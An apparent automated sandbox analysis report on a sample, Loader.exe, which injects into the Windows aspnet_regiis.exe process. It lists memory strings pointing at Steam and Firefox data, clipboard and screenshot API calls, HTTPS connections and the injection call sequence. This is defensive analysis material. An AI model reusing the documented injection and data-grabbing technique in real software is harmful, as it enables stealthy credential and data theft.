Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptc
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2151871047.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49716 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C63E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_72C63E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C63E30 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

3_2_72C63E30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C648C2 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_72C648C2

System Summary

.NET source code contains very large array initializations

Source: Loader.exe, GetWin.cs

Large array initialization: GetWindowsOS: array initializer size 650240

Source: C:\Users\user\Desktop\Loader.exe

Memory allocated: 72C30000 page execute and read and write

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE28C20 WindowsHandle,GetConsoleWindow,ShowWindow,VirtualAlloc,CreateProcessW,NtGetContextThread,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,GetConsoleWindow,ShowWindow,NtWriteVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtSetContextThread,NtResumeThread,CloseHandle,CloseHandle,GetConsoleWindow,ShowWindow,NtWriteVirtualMemory,NtReadVirtualMemory,NtWriteVirtualMemory,		0_2_6CE28C20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE26E60 GetModuleHandleW,NtQueryInformationProcess,		0_2_6CE26E60

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE20470	0_2_6CE20470
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE28C20	0_2_6CE28C20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE26E60	0_2_6CE26E60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE32CD0	0_2_6CE32CD0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3E8A0	0_2_6CE3E8A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4B090	0_2_6CE4B090
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE24460	0_2_6CE24460
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE2EC60	0_2_6CE2EC60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3C840	0_2_6CE3C840
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4E040	0_2_6CE4E040
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3E050	0_2_6CE3E050
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE11020	0_2_6CE11020
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE41000	0_2_6CE41000
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE35C10	0_2_6CE35C10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE45C10	0_2_6CE45C10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4D410	0_2_6CE4D410
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE185F0	0_2_6CE185F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE395F0	0_2_6CE395F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE48DF0	0_2_6CE48DF0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE2F5D0	0_2_6CE2F5D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE321D0	0_2_6CE321D0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3D1B0	0_2_6CE3D1B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3A5B0	0_2_6CE3A5B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE30DB0	0_2_6CE30DB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4B990	0_2_6CE4B990
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE46170	0_2_6CE46170
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE46540	0_2_6CE46540
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3C150	0_2_6CE3C150
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE31930	0_2_6CE31930
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE37530	0_2_6CE37530
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE2E500	0_2_6CE2E500
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4B500	0_2_6CE4B500
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE31D10	0_2_6CE31D10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE2FEE0	0_2_6CE2FEE0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE366C0	0_2_6CE366C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE312C0	0_2_6CE312C0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4BED0	0_2_6CE4BED0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE36AA0	0_2_6CE36AA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE44AA0	0_2_6CE44AA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE406B0	0_2_6CE406B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE496B0	0_2_6CE496B0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE35280	0_2_6CE35280
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3D660	0_2_6CE3D660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4C660	0_2_6CE4C660
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE46E60	0_2_6CE46E60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE49E70	0_2_6CE49E70
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE47250	0_2_6CE47250
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE36E00	0_2_6CE36E00
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE35E10	0_2_6CE35E10
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE333E0	0_2_6CE333E0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE327F0	0_2_6CE327F0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3ABC0	0_2_6CE3ABC0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE1FFA0	0_2_6CE1FFA0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE33BB0	0_2_6CE33BB0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE44380	0_2_6CE44380
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3EB60	0_2_6CE3EB60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE34B60	0_2_6CE34B60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE41360	0_2_6CE41360
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE42B60	0_2_6CE42B60
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE36350	0_2_6CE36350
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE48350	0_2_6CE48350
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE27F20	0_2_6CE27F20
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE39320	0_2_6CE39320
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE35720	0_2_6CE35720
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE4C330	0_2_6CE4C330
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_6CE3CB10	0_2_6CE3CB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E2BE8	3_3_035E2BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C69280	3_2_72C69280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C41227	3_2_72C41227
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5D34A	3_2_72C5D34A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3B100	3_2_72C3B100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3E687	3_2_72C3E687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C68EA0	3_2_72C68EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3CE45	3_2_72C3CE45
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C38600	3_2_72C38600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C457C0	3_2_72C457C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C57440	3_2_72C57440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C70460	3_2_72C70460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6C5A0	3_2_72C6C5A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C51D00	3_2_72C51D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C70D20	3_2_72C70D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C49AD0	3_2_72C49AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C542D0	3_2_72C542D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C69A80	3_2_72C69A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C58ABC	3_2_72C58ABC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6CA40	3_2_72C6CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C65A4F	3_2_72C65A4F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6DA4D	3_2_72C6DA4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C34270	3_2_72C34270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4E220	3_2_72C4E220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FA20	3_2_72C6FA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3F3C0	3_2_72C3F3C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C373D0	3_2_72C373D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C583D8	3_2_72C583D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4EB80	3_2_72C4EB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C34BA0	3_2_72C34BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3AB40	3_2_72C3AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C51340	3_2_72C51340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5F377	3_2_72C5F377
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C39310	3_2_72C39310
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FB10	3_2_72C6FB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C48B1B	3_2_72C48B1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FB2A	3_2_72C6FB2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FB28	3_2_72C6FB28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C338C0	3_2_72C338C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5A0CA	3_2_72C5A0CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C638D0	3_2_72C638D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5C0E6	3_2_72C5C0E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C460E9	3_2_72C460E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4B8F6	3_2_72C4B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5C09E	3_2_72C5C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4C8A0	3_2_72C4C8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C688B0	3_2_72C688B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3C840	3_2_72C3C840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4D003	3_2_72C4D003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3D021	3_2_72C3D021
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3D83C	3_2_72C3D83C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C581CC	3_2_72C581CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C709E0	3_2_72C709E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5C9EB	3_2_72C5C9EB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5E180	3_2_72C5E180
